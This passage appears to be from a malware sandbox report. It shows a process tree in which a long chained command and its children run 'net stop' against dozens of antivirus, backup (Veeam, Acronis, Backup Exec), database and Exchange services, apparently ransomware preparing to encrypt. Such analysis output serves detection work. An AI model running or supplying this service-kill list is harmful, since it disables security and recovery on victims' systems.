McAfeeEngineService /y & net stop McAfeeFramework /y & net stop McAfeeFrameworkMcAfeeFramework /y & net stop McShield /y & net stop McTaskManager /y & net stop mfemms /y & net stop mfevtp /y & net stop MMS /y & net stop mozyprobackup /y & net stop MsDtsServer /y & net stop MsDtsServer100 /y & net stop MsDtsServer110 /y & net stop MSExchangeES /y & net stop MSExchangeIS /y & net stop MSExchangeMGMT /y & net stop MSExchangeMTA /y & net stop MSExchangeSA /y & net stop MSExchangeSRS /y & net stop MSOLAP $ SQL_2008 /y & net stop MSOLAP $ SYSTEM_BGC /y & net stop MSOLAP $ TPS /y & net stop MSOLAP $ TPSAMA /y & net stop MSSQL $ BKUPEXEC /y & net stop MSSQL $ ECWDB2 /y & net stop MSSQL $ PRACTICEMGT /y & net stop MSSQL $ PRACTTICEBGC /y & net stop MSSQL $ PROFXENGAGEMENT /y & net stop MSSQL $ SBSMONITORING /y & net stop MSSQL $ SHAREPOINT /y & net stop MSSQL $ SQL_2008 /y & net stop MSSQL $ SYSTEM_BGC /y & net stop MSSQL $ TPS /y & net stop MSSQL $ TPSAMA /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop MSSQL $ VEEAMSQL2012 /y & net stop MSSQLFDLauncher /y & net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y & net stop MSSQLFDLauncher $ SBSMONITORING /y & net stop MSSQLFDLauncher $ SHAREPOINT /y & net stop MSSQLFDLauncher $ SQL_2008 /y & net stop MSSQLFDLauncher $ SYSTEM_BGC /y & net stop MSSQLFDLauncher $ TPS /y & net stop MSSQLFDLauncher $ TPSAMA /y & net stop MSSQLSERVER /y & net stop MSSQLServerADHelper100 /y & net stop MSSQLServerOLAPService /y & net stop MySQL80 /y & net stop MySQL57 /y & net stop ntrtscan /y & net stop OracleClientCache80 /y & net stop PDVFSService /y & net stop POP3SVC /y & net stop ReportServer /y & net stop ReportServer $ SQL_2008 /y & net stop ReportServer $ SYSTEM_BGC /y & net stop ReportServer $ TPS /y & net stop ReportServer $ TPSAMA /y & net stop RESVC /y & net stop sacsvr /y & net stop SamSs /y & net stop SAVAdminService /y & net stop ????????? /y & net stop SDRSVC /y & net stop SepMasterService /y & net stop ShMonitor /y & net stop Smcinst /y & net stop SmcService /y & net stop SMTPSVC /y & net stop SNAC /y & net stop SntpService /y & net stop sophossps /y & net stop SQLAgent $ BKUPEXEC /y & net stop SQLAgent $ ECWDB2 /y & net stop SQLAgent $ PRACTTICEBGC /y & net stop SQLAgent $ PRACTTICEMGT /y & net stop SQLAgent $ PROFXENGAGEMENT /y & net stop SQLAgent $ SBSMONITORING /y & net stop SQLAgent $ SHAREPOINT /y & net stop SQLAgent $ SQL_2008 /y & net stop SQLAgent $ SYSTEM_BGC /y & net stop SQLAgent $ TPS /y & net stop SQLAgent $ TPSAMA /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2012 /y & net stop SQLBrowser /y & net stop SQLSafeOLRService /y & net stop SQLSERVERAGENT /y & net stop SQLTELEMETRY /y & net stop SQLTELEMETRY $ ECWDB2 /y & net stop SQLWriter /y & net stop SstpSvc /y & net stop svcGenericHost /y & net stop swi_filter /y & net stop swi_service /y & net stop swi_update_64 /y & net stop TmCCSF /y & net stop tmlisten /y & net stop TrueKey /y & net stop TrueKeyScheduler /y & net stop TrueKeyServiceHelper /y & net stop UI0Detect /y & net stop VeeamBackupSvc /y & net stop VeeamBrokerSvc /y & net stop VeeamCatalogSvc /y & net stop VeeamCloudSvc /y & net stop VeeamDeploymentService /y & net stop VeeamDeploySvc /y & net stop VeeamEnterpriseManagerSvc /y & net stop VeeamMountSvc /y & net stop VeeamNFSSvc /y & net stop VeeamRESTSvc /y & net stop VeeamTransportSvc /y & net stop W3svc /y & net stop wbengine /y & net stop WRSVC /y & net stop MSSQL $ VEEAMSQL2008R2 /y & net stop SQLAgent $ VEEAMSQL2008R2 /y & net stop VeeamHvIntegrationSvc /y & net stop swi_update /y & net stop SQLAgent $ CXDB /y & net stop SQLAgent $ CITRIX_METAFRAME /y & net stop SQL ???????? /y & net stop MSSQL $ PROD /y & net stop Zoolz 2 ?????? /y & net stop MSSQLServerADHelper /y & net stop SQLAgent $ PROD /y & net stop msftesql $ PROD /y & net stop NetMsmqActivator /y & net stop EhttpSrv /y & net stop ekrn /y & net stop ESHASRV /y & net stop MSSQL $ SOPHOS /y & net stop SQLAgent $ SOPHOS /y & net stop AVP /y & net stop klnagent /y & net stop MSSQL $ SQLEXPRESS /y & net stop SQLAgent $ /y & net stop SQLEXPRESS /y & net stop wbengine /y & net stop kavfsslp /y & net stop KAVFSGT /y
2⤵
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\SysWOW64\net.exe
net stop Acronis VSS Provider /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Acronis VSS Provider /y
4⤵
PID:3692

C:\Windows\SysWOW64\net.exe
net stop Enterprise Client Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Enterprise Client Service /y
4⤵
PID:2152

C:\Windows\SysWOW64\net.exe
net stop Sophos Agent /y
3⤵
- Suspicious use of WriteProcessMemory
PID:3832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Agent /y
4⤵
PID:4036

C:\Windows\SysWOW64\net.exe
net stop Sophos AutoUpdate Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos AutoUpdate Service /y
4⤵
PID:2356

C:\Windows\SysWOW64\net.exe
net stop Sophos Clean Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Clean Service /y
4⤵
PID:3788

C:\Windows\SysWOW64\net.exe
net stop Sophos Device Control Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Device Control Service /y
4⤵
PID:2248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
5⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop Sophos File Scanner Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos File Scanner Service /y
4⤵
PID:2792

C:\Windows\SysWOW64\net.exe
net stop Sophos Health Service /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Health Service /y
4⤵
PID:3088

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Agent /y
3⤵
- Suspicious use of WriteProcessMemory
PID:4076

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Agent /y
4⤵
PID:4008

C:\Windows\SysWOW64\net.exe
net stop Sophos MCS Client /y
3⤵
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos MCS Client /y
4⤵
PID:3456

C:\Windows\SysWOW64\net.exe
net stop Sophos Message Router /y
3⤵
PID:3560

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Message Router /y
4⤵
PID:400

C:\Windows\SysWOW64\net.exe
net stop Sophos SafeStore Service /y
3⤵
PID:2184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos SafeStore Service /y
4⤵
PID:3900

C:\Windows\SysWOW64\net.exe
net stop Sophos Protection System Service /y
3⤵
PID:3512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Protection System Service /y
4⤵
PID:2816

C:\Windows\SysWOW64\net.exe
net stop Sophos Web Control Service /y
3⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sophos Web Control Service /y
4⤵
PID:1080

C:\Windows\SysWOW64\net.exe
net stop SQLsafe ?????????? ??????????? ?????? /y
3⤵
PID:628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe ?????????? ??????????? ?????? /y
4⤵
PID:4028

C:\Windows\SysWOW64\net.exe
net stop SQLsafe Filter Service /y
3⤵
PID:980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLsafe Filter Service /y
4⤵
PID:1744

C:\Windows\SysWOW64\net.exe
net stop Symantec System Recovery /y
3⤵
PID:892

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Symantec System Recovery /y
4⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop Veeam Backup Service Data Catalog /y
3⤵
PID:2096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Veeam Backup Service Data Catalog /y
4⤵
PID:4080

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
3⤵
PID:2152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
4⤵
PID:3840

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
3⤵
PID:3916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
4⤵
PID:3240

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
3⤵
PID:2360

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
4⤵
PID:2356

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
3⤵
PID:3788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
4⤵
PID:2264

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
3⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
4⤵
PID:2760

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
3⤵
PID:1212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
4⤵
PID:2540

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
3⤵
PID:920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
4⤵
PID:3156

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
3⤵
PID:3980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
4⤵
PID:4008

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
3⤵
PID:2724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
4⤵
PID:3456

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
3⤵
PID:400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
4⤵
PID:532

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
3⤵
PID:3900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
4⤵
PID:3396

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
3⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
4⤵
PID:2416

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
3⤵
PID:1080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
4⤵
PID:3660

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
3⤵
PID:4028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
4⤵
PID:1136

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
3⤵
PID:2380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
4⤵
PID:980

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
3⤵
PID:1600

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
4⤵
PID:3904

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
3⤵
PID:1512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
4⤵
PID:4040

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
3⤵
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
4⤵
PID:3812

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
3⤵
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
4⤵
PID:3852

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
3⤵
PID:2796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
4⤵
PID:3240

C:\Windows\SysWOW64\net.exe
net stop macmnsvc /y
3⤵
PID:3796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
4⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop masvc /y
3⤵
PID:2244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop masvc /y
4⤵
PID:2264

C:\Windows\SysWOW64\net.exe
net stop MBAMService /y
3⤵
PID:3788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
4⤵
PID:2800

C:\Windows\SysWOW64\net.exe
net stop MBEndpointAgent /y
3⤵
PID:2312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
4⤵
PID:3032

C:\Windows\SysWOW64\net.exe
net stop McAfeeEngineService /y
3⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
4⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop McAfeeFramework /y
3⤵
PID:3944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
4⤵
PID:2820

C:\Windows\SysWOW64\net.exe
net stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:2720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
4⤵
PID:3776

C:\Windows\SysWOW64\net.exe
net stop McShield /y
3⤵
PID:4008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
4⤵
PID:844

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
3⤵
PID:2228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
4⤵
PID:1428

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
3⤵
PID:532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
4⤵
PID:400

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
3⤵
PID:4088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
4⤵
PID:3188

C:\Windows\SysWOW64\net.exe
net stop MMS /y
3⤵
PID:1268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
4⤵
PID:2416

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
3⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
4⤵
PID:988

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
3⤵
PID:1732

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
4⤵
PID:1552

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
3⤵
PID:2284

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
4⤵
PID:3476

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
3⤵
PID:1928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
4⤵
PID:2124

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
3⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
4⤵
PID:4080

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
3⤵
PID:4048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
4⤵
PID:1804

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
3⤵
PID:3516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
4⤵
PID:2812

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
3⤵
PID:1580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
4⤵
PID:3324

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
3⤵
PID:1860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
4⤵
PID:1684

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
3⤵
PID:2292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
4⤵
PID:2808

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SQL_2008 /y
3⤵
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SQL_2008 /y
4⤵
PID:2780

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ SYSTEM_BGC /y
3⤵
PID:2548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ SYSTEM_BGC /y
4⤵
PID:796

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPS /y
3⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPS /y
4⤵
PID:2540

C:\Windows\SysWOW64\net.exe
net stop MSOLAP $ TPSAMA /y
3⤵
PID:2552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP $ TPSAMA /y
4⤵
PID:1964

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ BKUPEXEC /y
3⤵
PID:3156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ BKUPEXEC /y
4⤵
PID:3988

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
3⤵
PID:2848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
4⤵
PID:60

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
3⤵
PID:844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
4⤵
PID:1428

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:2228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
4⤵
PID:2844

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
4⤵
PID:3188

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
3⤵
PID:4088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
4⤵
PID:2416

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
3⤵
PID:1268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
4⤵
PID:3084

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
3⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
4⤵
PID:4056

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
4⤵
PID:1480

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
3⤵
PID:4028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
4⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
3⤵
PID:2380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
4⤵
PID:624

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:3692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
4⤵
PID:3812

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:4048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
4⤵
PID:2052

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
3⤵
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
4⤵
PID:3916

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
4⤵
PID:2340

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:2796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
4⤵
PID:2176

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:3796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
4⤵
PID:2568

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:2264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
4⤵
PID:2544

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:2268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
4⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
3⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
4⤵
PID:3088

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
4⤵
PID:2856

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
3⤵
PID:3944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
4⤵
PID:4008

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
3⤵
PID:848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
4⤵
PID:344

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
3⤵
PID:3388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
4⤵
PID:976

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
3⤵
PID:3864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
4⤵
PID:2184

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
3⤵
PID:3932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
4⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
3⤵
PID:3512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
4⤵
PID:3168

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
3⤵
PID:3660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
4⤵
PID:1552

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
3⤵
PID:3264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
4⤵
PID:3476

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
3⤵
PID:3828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
4⤵
PID:2124

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
3⤵
PID:760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
4⤵
PID:4080

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
3⤵
PID:4040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
4⤵
PID:3840

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:1976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
4⤵
PID:2152

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
3⤵
PID:3852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
4⤵
PID:2300

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
3⤵
PID:3916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
4⤵
PID:1508

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
3⤵
PID:3024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
4⤵
PID:2340

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
3⤵
PID:2176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
4⤵
PID:2796

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
3⤵
PID:2800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
4⤵
PID:2568

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
3⤵
PID:2544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
4⤵
PID:2264

C:\Windows\SysWOW64\net.exe
net stop ????????? /y
3⤵
PID:1212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ????????? /y
4⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
3⤵
PID:3088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
4⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
3⤵
PID:2856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
4⤵
PID:2792

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
3⤵
PID:3844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
4⤵
PID:4008

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
3⤵
PID:344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
4⤵
PID:848

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
3⤵
PID:844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
4⤵
PID:976

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
3⤵
PID:2184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
4⤵
PID:3864

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
3⤵
PID:2804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
4⤵
PID:3932

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
3⤵
PID:3168

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
4⤵
PID:3512

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
3⤵
PID:2304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
4⤵
PID:3660

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
3⤵
PID:3476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
4⤵
PID:3264

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
3⤵
PID:660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
4⤵
PID:2124

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:4080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
4⤵
PID:760

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:3840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
4⤵
PID:4040

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:2152

